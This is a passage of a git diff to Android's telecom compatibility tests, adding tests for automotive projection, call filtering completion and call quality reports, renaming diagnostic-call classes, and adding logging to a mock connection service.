+    public void testReceiveCallQualityReport() throws InterruptedException {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        setupCall();
+
+        // Fake out a call quality report.
+        android.telephony.CallQuality callQuality = new CallQuality(
+                android.telephony.CallQuality.CALL_QUALITY_EXCELLENT,
+                android.telephony.CallQuality.CALL_QUALITY_EXCELLENT,
+                60000, // duration
+                90210, // transmitted
+                90210, // received
+                0, // lost
+                0, // lost
+                0, // jitter
+                0, // jitter
+                10, // round trip
+                0); // codec
+        Bundle message = new Bundle();
+        message.putParcelable("android.telecom.extra.CALL_QUALITY_REPORT", callQuality);
+        mConnection.sendConnectionEvent("android.telecom.event.CALL_QUALITY_REPORT", message);
+
+        CtsCallDiagnosticService.CtsCallDiagnostics diagnosticCall = mService.getCalls().get(0);
+        diagnosticCall.getCallQualityReceivedLatch().await(
+                TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertNotNull(diagnosticCall.getCallQuality());
+    }
+
+    /**
      * Starts a fake SIM call and verifies binding to the CDS.
      * @throws InterruptedException
      */
diff --git a/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java
index 0e51b37..b214df2 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java
@@ -16,6 +16,10 @@
 
 package android.telecom.cts;
 
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED;
+import static android.content.pm.PackageManager.DONT_KILL_APP;
+
 import android.app.UiModeManager;
 import android.content.ComponentName;
 import android.content.Context;
@@ -28,9 +32,16 @@
 import android.os.RemoteException;
 import android.telecom.TelecomManager;
 import android.telecom.cts.carmodetestapp.ICtsCarModeInCallServiceControl;
+import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 
+import junit.framework.AssertionFailedError;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
@@ -50,10 +61,14 @@
 
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity("android.permission.ENTER_CAR_MODE_PRIORITIZED",
-                        "android.permission.CONTROL_INCALL_EXPERIENCE");
+                        "android.permission.CONTROL_INCALL_EXPERIENCE",
+                        "android.permission.TOGGLE_AUTOMOTIVE_PROJECTION");
 
         mCarModeIncallServiceControlOne = getControlBinder(CARMODE_APP1_PACKAGE);
         mCarModeIncallServiceControlTwo = getControlBinder(CARMODE_APP2_PACKAGE);
+        // Ensure we start the test without automotive projection set.
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+        releaseAutomotiveProjection(mCarModeIncallServiceControlTwo);
         setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
 
         final UiModeManager uiModeManager = mContext.getSystemService(UiModeManager.class);
@@ -64,23 +79,32 @@
 
     @Override
     protected void tearDown() throws Exception {
-        super.tearDown();
         if (!mShouldTestTelecom) {
             return;
         }
+        try {
+            disableAndVerifyCarMode(mCarModeIncallServiceControlOne,
+                    Configuration.UI_MODE_TYPE_NORMAL);
+            disableAndVerifyCarMode(mCarModeIncallServiceControlTwo,
+                    Configuration.UI_MODE_TYPE_NORMAL);
+            disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+            disconnectAllCallsAndVerify(mCarModeIncallServiceControlTwo);
 
-        if (mCarModeIncallServiceControlOne != null) {
-            mCarModeIncallServiceControlOne.reset();
+            if (mCarModeIncallServiceControlOne != null) {
+                mCarModeIncallServiceControlOne.reset();
+            }
+
+            if (mCarModeIncallServiceControlTwo != null) {
+                mCarModeIncallServiceControlTwo.reset();
+            }
+
+            assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
+
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+        } finally {
+            super.tearDown();
         }
-
-        if (mCarModeIncallServiceControlTwo != null) {
-            mCarModeIncallServiceControlTwo.reset();
-        }
-
-        assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
-
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .dropShellPermissionIdentity();
     }
 
     /**
@@ -95,6 +119,29 @@
         disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
     }
 
+    public void testRequestAutomotiveProjection() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        // Multiple calls should succeed.
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+    }
+
+    public void testRequestAutomotiveProjectionExclusive() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlTwo, false);
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlTwo, true);
+        releaseAutomotiveProjection(mCarModeIncallServiceControlTwo);
+    }
+
     /**
      * Verifies we bind to a car mode InCallService when a call is started when the device is
      * already in car mode.
@@ -116,6 +163,62 @@
     }
 
     /**
+     * Verifies we bind to a car mode InCallService when a call is started when the service has
+     * already set automotive projection.
+     */
+    public void testStartCallInAutomotiveProjection() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+
+        // Place a call and verify we bound to the Car Mode InCallService
+        placeCarModeCall();
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+    }
+
+    /**
+     * Verifies we bind to a car mode InCallService when a call is started and the service has set
+     * both car mode AND projection.
+     */
+    public void failingTestStartCallInCarModeAndAutomotiveProjection() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+
+        // Place a call and verify we bound to the Car Mode InCallService
+        placeCarModeCall();
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Release projection and we should still have the call.
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Re-request projection.
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Exit car mode. Should still have the call by virtue of projection being set.
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+    }
+
+    /**
      * Tests a scenario where we have two apps enter car mode.
      * Ensures that the higher priority app is bound and receives information about the call.
      * When the higher priority app leaves car mode, verifies that the lower priority app is bound
@@ -141,6 +244,36 @@
 
         // Drop the call from the second service.
         disconnectAllCallsAndVerify(mCarModeIncallServiceControlTwo);
+        disableAndVerifyCarMode(mCarModeIncallServiceControlTwo, Configuration.UI_MODE_TYPE_NORMAL);
+    }
+
+    /**
+     * Tests a scenario where one app enters car mode and the other sets automotive projection.
+     * Ensures that the automotive projection app is bound and receives information about the call.
+     * When the projecting app releases projection, verifies that the car mode app is bound
+     * and receives information about the call.
+     */
+    public void testStartCallingInCarModeAndProjectionTwoServices() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlTwo, true);
+
+        // Place a call and verify we bound to the Car Mode InCallService
+        placeCarModeCall();
+        verifyCarModeBound(mCarModeIncallServiceControlTwo);
+        assertCarModeCallCount(mCarModeIncallServiceControlTwo, 1);
+
+        // Now release projection from the projecting service
+        releaseAutomotiveProjection(mCarModeIncallServiceControlTwo);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Drop the call from the car mode service.
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
     }
 
     /**
@@ -166,7 +299,7 @@
     }
 
     /**
-     * Similar to {@link #testSwitchToCarMode}, except exits car mode before the call terminates.
+     * Similar to {@link #testSwitchToCarMode()}, except exits car mode before the call terminates.
      */
     public void testSwitchToCarModeAndBack() {
         if (!mShouldTestTelecom) {
@@ -193,7 +326,7 @@
                 fail("No call added to InCallService.");
             }
         } catch (InterruptedException e) {
-            fail("Interupted!");
+            fail("Interrupted!");
         }
 
         assertEquals(1, mInCallCallbacks.getService().getCallCount());
@@ -201,8 +334,8 @@
     }
 
     /**
-     * Similar to {@link #testSwitchToCarMode}, except enters car mode after the call starts.  Also
-     * uses multiple car mode InCallServices.
+     * Similar to {@link #testSwitchToCarMode()}, except enters car mode after the call starts.
+     * Also uses multiple car mode InCallServices.
      */
     public void testSwitchToCarModeMultiple() {
         if (!mShouldTestTelecom) {
@@ -242,13 +375,144 @@
                 fail("No call added to InCallService.");
             }
         } catch (InterruptedException e) {
-            fail("Interupted!");
+            fail("Interrupted!");
         }
 
         assertEquals(1, mInCallCallbacks.getService().getCallCount());
         mInCallCallbacks.getService().disconnectAllCalls();
     }
 
+    /**
+     * Verifies we can switch from the default dialer to the car-mode InCallService when automotive
+     * projection is set.
+     */
+    public void testSwitchToAutomotiveProjection() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Place a call and verify it went to the default dialer
+        placeAndVerifyCall();
+        verifyConnectionForOutgoingCall();
+
+        // Now, request automotive projection; should have swapped to the InCallService.
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+    }
+
+    /**
+     * Similar to {@link #testSwitchToAutomotiveProjection()}, except releases projection before the
+     * call terminates.
+     */
+    public void testSwitchToAutomotiveProjectionAndBack() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Place a call and verify it went to the default dialer
+        placeAndVerifyCall();
+        verifyConnectionForOutgoingCall();
+
+        // Now, request automotive projection and confirm we're using the car mode ICS.
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlOne, true);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Now, release projection and confirm we're no longer using the car mode ICS.
+        releaseAutomotiveProjection(mCarModeIncallServiceControlOne);
+        verifyCarModeUnbound(mCarModeIncallServiceControlOne);
+
+        // Verify that we did bind back to the default dialer.
+        try {
+            if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                    TimeUnit.SECONDS)) {
+                fail("No call added to InCallService.");
+            }
+        } catch (InterruptedException e) {
+            fail("Interrupted!");
+        }
+
+        assertEquals(1, mInCallCallbacks.getService().getCallCount());
+        mInCallCallbacks.getService().disconnectAllCalls();
+    }
+
+    /**
+     * Similar to {@link #testSwitchToAutomotiveProjection()}, except sets automotive projection
+     * after the call starts and has been bound to an InCallService using car mode.
+     */
+    public void testSwitchToAutomotiveProjectionMultiple() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Place a call and verify it went to the default dialer
+        placeAndVerifyCall();
+        verifyConnectionForOutgoingCall();
+
+        // Now, request automotive projection and confirm we're using the car mode ICS.
+        enableAndVerifyCarMode(mCarModeIncallServiceControlOne, Integer.MAX_VALUE);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Now, request automotive projection from a different ICS and confirm we're using it.
+        requestAndVerifyAutomotiveProjection(mCarModeIncallServiceControlTwo, true);
+        verifyCarModeUnbound(mCarModeIncallServiceControlOne);
+        verifyCarModeBound(mCarModeIncallServiceControlTwo);
+        assertCarModeCallCount(mCarModeIncallServiceControlTwo, 1);
+
+        // Release automotive projection, verify we drop back to the car mode ICS.
+        releaseAutomotiveProjection(mCarModeIncallServiceControlTwo);
+        verifyCarModeUnbound(mCarModeIncallServiceControlTwo);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Finally, disable car mode and confirm we're using the default dialer once more.
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+        verifyCarModeUnbound(mCarModeIncallServiceControlOne);
+
+        // Verify that we did bind back to the default dialer.
+        try {
+            if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                    TimeUnit.SECONDS)) {
+                fail("No call added to InCallService.");
+            }
+        } catch (InterruptedException e) {
+            fail("Interrupted!");
+        }
+
+        assertEquals(1, mInCallCallbacks.getService().getCallCount());
+        mInCallCallbacks.getService().disconnectAllCalls();
+    }
+
+    public void testSwitchToCarModeWhenEnableCarModeApp() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+        mContext.getPackageManager().setApplicationEnabledSetting(CARMODE_APP1_PACKAGE,
+                COMPONENT_ENABLED_STATE_DISABLED, DONT_KILL_APP);
+
+
+        placeCarModeCall();
+        try {
+            verifyCarModeBound(mCarModeIncallServiceControlOne);
+            throw new Exception("Car mode 1 was disabled but bound.");
+        } catch (AssertionFailedError e) {
+            // Expected
+        }
+
+        mContext.getPackageManager().setApplicationEnabledSetting(CARMODE_APP1_PACKAGE,
+                COMPONENT_ENABLED_STATE_ENABLED, DONT_KILL_APP);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+    }
+
 
     /**
      * Places a call without verifying it is handled by the default dialer InCallService.
@@ -265,34 +529,6 @@
     }
 
     /**
-     * Verify the car mode ICS has an expected call count.
-     * @param expected
-     */
-    private void assertCarModeCallCount(ICtsCarModeInCallServiceControl control,  int expected) {
-        waitUntilConditionIsTrueOrTimeout(
-                new Condition() {
-                    @Override
-                    public Object expected() {
-                        return expected;
-                    }
-
-                    @Override
-                    public Object actual() {
-                        int callCount = 0;
-                        try {
-                            callCount = control.getCallCount();
-                        } catch (RemoteException re) {
-                            fail("Bee-boop; can't control the incall service");
-                        }
-                        return callCount;
-                    }
-                },
-                TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
-                "Expected " + expected + " calls."
-        );
-    }
-
-    /**
      * Verifies that we bound to the car-mode ICS.
      */
     private void verifyCarModeBound(ICtsCarModeInCallServiceControl control) {
@@ -347,7 +583,7 @@
     }
 
     /**
-     * Use the control interface to enable car mode at a specified priority.
+     * Uses the control interface to enable car mode at a specified priority.
      * @param priority the requested priority.
      */
     private void enableAndVerifyCarMode(ICtsCarModeInCallServiceControl control, int priority) {
@@ -360,26 +596,31 @@
     }
 
     /**
-     * Uses the control interface to disable car mode.
-     * @param expectedUiMode
+     * Uses the control interface to request automotive projection assert success or failure.
+     * @param expectedSuccess whether or not we expect the operation to succeed.
      */
-    private void disableAndVerifyCarMode(ICtsCarModeInCallServiceControl control,
-            int expectedUiMode) {
+    private void requestAndVerifyAutomotiveProjection(ICtsCarModeInCallServiceControl control,
+            boolean expectedSuccess) {
         try {
-            control.disableCarMode();
+            assertEquals(expectedSuccess, control.requestAutomotiveProjection());
+        } catch (SecurityException se) {
+            fail("Not allowed to request automotive projection!");
         } catch (RemoteException re) {
             fail("Bee-boop; can't control the incall service");
         }
-        assertUiMode(expectedUiMode);
     }
 
-    private void disconnectAllCallsAndVerify(ICtsCarModeInCallServiceControl controlBinder) {
+    /**
+     * Uses the control interface to release automotive projection.
+     */
+    private void releaseAutomotiveProjection(ICtsCarModeInCallServiceControl control) {
         try {
-            controlBinder.disconnectCalls();
+            control.releaseAutomotiveProjection();
+        } catch (SecurityException se) {
+            fail("Not allowed to release automotive projection!");
         } catch (RemoteException re) {
             fail("Bee-boop; can't control the incall service");
         }
-        assertCarModeCallCount(controlBinder, 0);
     }
 
     /**
@@ -387,28 +628,28 @@
      * @throws InterruptedException
      */
     private ICtsCarModeInCallServiceControl getControlBinder(String packageName)
-            throws InterruptedException {
+            throws Exception {
         Intent bindIntent = new Intent(
                 android.telecom.cts.carmodetestapp.CtsCarModeInCallServiceControl
                         .CONTROL_INTERFACE_ACTION);
         bindIntent.setPackage(packageName);
-        final LinkedBlockingQueue<ICtsCarModeInCallServiceControl> queue =
-                new LinkedBlockingQueue(1);
+        CompletableFuture<ICtsCarModeInCallServiceControl> future =
+                new CompletableFuture<>();
         boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
             @Override
             public void onServiceConnected(ComponentName name, IBinder service) {
-                queue.offer(android.telecom.cts.carmodetestapp
+                future.complete(android.telecom.cts.carmodetestapp
                         .ICtsCarModeInCallServiceControl.Stub.asInterface(service));
             }
 
             @Override
             public void onServiceDisconnected(ComponentName name) {
-                queue.offer(null);
+                future.complete(null);
             }
         }, Context.BIND_AUTO_CREATE);
         if (!success) {
             fail("Failed to get control interface -- bind error");
         }
-        return queue.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+        return future.get(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
     }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
index 95ea9bc..de0e012 100755
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -25,6 +25,8 @@
 import android.media.AudioManager;
 import android.net.Uri;
 import android.telecom.Call;
+import android.telecom.CallScreeningService;
+import android.telecom.CallScreeningService.CallResponse;
 import android.telecom.Connection;
 import android.telecom.ConnectionService;
 import android.telecom.PhoneAccountHandle;
@@ -285,6 +287,106 @@
 
     }
 
+    public void testCallFilteringCompleteSignalNotInContacts() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE");
+        MockCallScreeningService.enableService(mContext);
+        try {
+            CallScreeningService.CallResponse response =
+                    new CallScreeningService.CallResponse.Builder()
+                            .setDisallowCall(false)
+                            .setRejectCall(false)
+                            .setSilenceCall(false)
+                            .setSkipCallLog(false)
+                            .setSkipNotification(false)
+                            .setShouldScreenCallViaAudioProcessing(false)
+                            .setCallComposerAttachmentsToShow(
+                                    CallResponse.CALL_COMPOSER_ATTACHMENT_PRIORITY
+                                            | CallResponse.CALL_COMPOSER_ATTACHMENT_SUBJECT)
+                            .build();
+            MockCallScreeningService.setCallbacks(createCallbackForCsTest(response));
+
+            addAndVerifyNewIncomingCall(createTestNumber(), null);
+            MockConnection connection = verifyConnectionForIncomingCall();
+
+            Object[] callFilteringCompleteInvocations =
+                    connection.getInvokeCounter(MockConnection.ON_CALL_FILTERING_COMPLETED)
+                            .getArgs(0);
+            Connection.CallFilteringCompletionInfo completionInfo =
+                    (Connection.CallFilteringCompletionInfo) callFilteringCompleteInvocations[0];
+
+            assertFalse(completionInfo.isBlocked());
+            assertFalse(completionInfo.isInContacts());
+            assertEquals(response, completionInfo.getCallResponse());
+            assertEquals(PACKAGE, completionInfo.getCallScreeningComponent().getPackageName());
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+            MockCallScreeningService.disableService(mContext);
+        }
+    }
+
+    public void testCallFilteringCompleteSignalInContacts() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE");
+        Uri testNumber = createTestNumber();
+        Uri contactUri = TestUtils.insertContact(mContext.getContentResolver(),
+                testNumber.getSchemeSpecificPart());
+        MockCallScreeningService.enableService(mContext);
+        try {
+            CallScreeningService.CallResponse response =
+                    new CallScreeningService.CallResponse.Builder()
+                            .setDisallowCall(false)
+                            .setRejectCall(false)
+                            .setSilenceCall(false)
+                            .setSkipCallLog(false)
+                            .setSkipNotification(false)
+                            .setShouldScreenCallViaAudioProcessing(false)
+                            .setCallComposerAttachmentsToShow(
+                                    CallResponse.CALL_COMPOSER_ATTACHMENT_PRIORITY
+                                            | CallResponse.CALL_COMPOSER_ATTACHMENT_SUBJECT)
+                            .build();
+            MockCallScreeningService.setCallbacks(createCallbackForCsTest(response));
+
+            addAndVerifyNewIncomingCall(testNumber, null);
+
+            MockConnection connection = verifyConnectionForIncomingCall();
+
+            Object[] callFilteringCompleteInvocations =
+                    connection.getInvokeCounter(MockConnection.ON_CALL_FILTERING_COMPLETED)
+                            .getArgs(0);
+            Connection.CallFilteringCompletionInfo completionInfo =
+                    (Connection.CallFilteringCompletionInfo) callFilteringCompleteInvocations[0];
+
+            assertFalse(completionInfo.isBlocked());
+            assertTrue(completionInfo.isInContacts());
+            assertEquals(response, completionInfo.getCallResponse());
+            assertEquals(PACKAGE, completionInfo.getCallScreeningComponent().getPackageName());
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+            TestUtils.deleteContact(mContext.getContentResolver(), contactUri);
+            MockCallScreeningService.disableService(mContext);
+        }
+    }
+
+    private MockCallScreeningService.CallScreeningServiceCallbacks createCallbackForCsTest(
+            CallScreeningService.CallResponse response) {
+        return new MockCallScreeningService.CallScreeningServiceCallbacks() {
+            @Override
+            public void onScreenCall(Call.Details callDetails) {
+
+                getService().respondToCall(callDetails, response);
+            }
+        };
+    }
+
     public void testCallDirectionOutgoing() {
         if (!mShouldTestTelecom) {
             return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsCallDiagnosticService.java b/tests/tests/telecom/src/android/telecom/cts/CtsCallDiagnosticService.java
index b90f5a7..be07d09 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CtsCallDiagnosticService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsCallDiagnosticService.java
@@ -21,7 +21,7 @@
 import android.telecom.Call;
 import android.telecom.CallAudioState;
 import android.telecom.CallDiagnosticService;
-import android.telecom.DiagnosticCall;
+import android.telecom.CallDiagnostics;
 import android.telephony.CallQuality;
 import android.telephony.ims.ImsReasonInfo;
 import android.util.Log;
@@ -42,9 +42,10 @@
     private CountDownLatch mChangeLatch = new CountDownLatch(1);
     private CountDownLatch mBluetoothCallQualityReportLatch = new CountDownLatch(1);
     private CountDownLatch mCallAudioStateLatch = new CountDownLatch(1);
-    private List<CtsDiagnosticCall> mCalls = new ArrayList<>();
+    private List<CtsCallDiagnostics> mCalls = new ArrayList<>();
+    private CharSequence mDisconnectMessage = null;
 
-    public static class CtsDiagnosticCall extends DiagnosticCall {
+    public class CtsCallDiagnostics extends CallDiagnostics {
         private Call.Details mCallDetails;
         private int mMessageType;
         private int mMessageValue;
@@ -52,6 +53,7 @@
         private CountDownLatch mCallQualityReceivedLatch = new CountDownLatch(1);
         private CountDownLatch mReceivedMessageLatch = new CountDownLatch(1);
         private CountDownLatch mCallDetailsReceivedLatch = new CountDownLatch(1);
+        private CountDownLatch mDisconnectLatch = new CountDownLatch(1);
 
         @Override
         public void onCallDetailsChanged(@NonNull Call.Details details) {
@@ -69,13 +71,15 @@
         @Nullable
         @Override
         public CharSequence onCallDisconnected(int disconnectCause, int preciseDisconnectCause) {
-            return null;
+            mDisconnectLatch.countDown();
+            return mDisconnectMessage;
         }
 
         @Nullable
         @Override
         public CharSequence onCallDisconnected(@NonNull ImsReasonInfo disconnectReason) {
-            return null;
+            mDisconnectLatch.countDown();
+            return mDisconnectMessage;
         }
 
         @Override
@@ -84,8 +88,6 @@
             mReceivedMessageLatch.countDown();
         }
 
-        @NonNull
-        @Override
         public Call.Details getCallDetails() {
             return mCallDetails;
         }
@@ -117,6 +119,10 @@
         public CountDownLatch getCallDetailsReceivedLatch() {
             return mCallDetailsReceivedLatch;
         }
+
+        public CountDownLatch getDisconnectLatch() {
+            return mDisconnectLatch;
+        }
     }
 
     @Override
@@ -137,19 +143,21 @@
 
     @NonNull
     @Override
-    public DiagnosticCall onInitializeDiagnosticCall(@NonNull Call.Details call) {
-        CtsDiagnosticCall diagCall = new CtsDiagnosticCall();
+    public CallDiagnostics onInitializeCallDiagnostics(@NonNull Call.Details call) {
+        CtsCallDiagnostics diagCall = new CtsCallDiagnostics();
         diagCall.mCallDetails = call;
         mCalls.add(diagCall);
         mChangeLatch.countDown();
+        mChangeLatch = new CountDownLatch(1);
         return diagCall;
     }
 
     @Override
-    public void onRemoveDiagnosticCall(@NonNull DiagnosticCall call) {
+    public void onRemoveCallDiagnostics(@NonNull CallDiagnostics call) {
         Log.i(LOG_TAG, "onRemoveDiagnosticCall: " + call);
         mCalls.remove(call);
         mChangeLatch.countDown();
+        mChangeLatch = new CountDownLatch(1);
     }
 
     @Override
@@ -186,16 +194,18 @@
     }
 
     public CountDownLatch getCallChangeLatch() {
-        CountDownLatch latch = mChangeLatch;
-        mChangeLatch = new CountDownLatch(1);
-        return latch;
+        return mChangeLatch;
     }
 
     public CountDownLatch getBluetoothCallQualityReportLatch() {
         return mBluetoothCallQualityReportLatch;
     }
 
-    public List<CtsDiagnosticCall> getCalls() {
+    public List<CtsCallDiagnostics> getCalls() {
         return mCalls;
     }
+
+    public void setDisconnectMessage(CharSequence charSequence) {
+        mDisconnectMessage = charSequence;
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
index 68ad014..87676b0 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
@@ -62,6 +62,7 @@
     @Override
     public void onBindClient(Intent intent) {
         sTelecomConnectionService = this;
+        Log.i("TelecomCTS", "CS bound");
         sIsBound = true;
     }
 
@@ -70,7 +71,7 @@
     public static void setUp(ConnectionService connectionService) throws Exception {
         synchronized(sLock) {
             if (sConnectionService != null) {
-                throw new Exception("Mock ConnectionService exists.  Failed to call tearDown().");
+                throw new Exception("Mock ConnectionService exists.  Failed to call setUp().");
             }
             sConnectionService = connectionService;
         }
@@ -90,6 +91,8 @@
                 return sConnectionService.onCreateOutgoingConnection(
                         connectionManagerPhoneAccount, request);
             } else {
+                Log.e(LOG_TAG,
+                        "Tried to create outgoing connection when sConnectionService null!");
                 return null;
             }
         }
@@ -103,6 +106,8 @@
                 return sConnectionService.onCreateIncomingConnection(
                         connectionManagerPhoneAccount, request);
             } else {
+                Log.e(LOG_TAG,
+                        "Tried to create incoming connection when sConnectionService null!");
                 return null;
             }
         }
@@ -114,6 +119,9 @@
         if (sConnectionService != null) {
             sConnectionService.onCreateIncomingConnectionFailed(connectionManagerPhoneAccount,
                     request);
+        } else {
+            Log.e(LOG_TAG,
+                    "onCreateIncomingConnectionFailed called when sConnectionService null!");
         }
     }
 
@@ -125,6 +133,8 @@
                 return sConnectionService.onCreateOutgoingConference(connectionManagerPhoneAccount,
                         request);
             } else {
+                Log.e(LOG_TAG,
+                        "onCreateOutgoingConference called when sConnectionService null!");
                 return null;
             }
         }
@@ -137,6 +147,9 @@
             if (sConnectionService != null) {
                 sConnectionService.onCreateOutgoingConferenceFailed(connectionManagerPhoneAccount,
                         request);
+            } else {
+                Log.e(LOG_TAG,
+                        "onCreateOutgoingConferenceFailed called when sConnectionService null!");
             }
         }
     }
@@ -149,6 +162,8 @@
                 return sConnectionService.onCreateIncomingConference(connectionManagerPhoneAccount,
                         request);
             } else {
+                Log.e(LOG_TAG,
+                        "onCreateIncomingConference called when sConnectionService null!");
                 return null;
             }
         }
@@ -161,6 +176,9 @@
             if (sConnectionService != null) {
                 sConnectionService.onCreateIncomingConferenceFailed(connectionManagerPhoneAccount,
                         request);
+            } else {
+                Log.e(LOG_TAG,
+                        "onCreateIncomingConferenceFailed called when sConnectionService null!");
             }
         }
     }
@@ -170,6 +188,9 @@
         synchronized(sLock) {
             if (sConnectionService != null) {
                 sConnectionService.onConference(connection1, connection2);
+            } else {
+                Log.e(LOG_TAG,
+                        "onConference called when sConnectionService null!");
             }
         }
     }
@@ -179,6 +200,9 @@
         synchronized(sLock) {
             if (sConnectionService != null) {
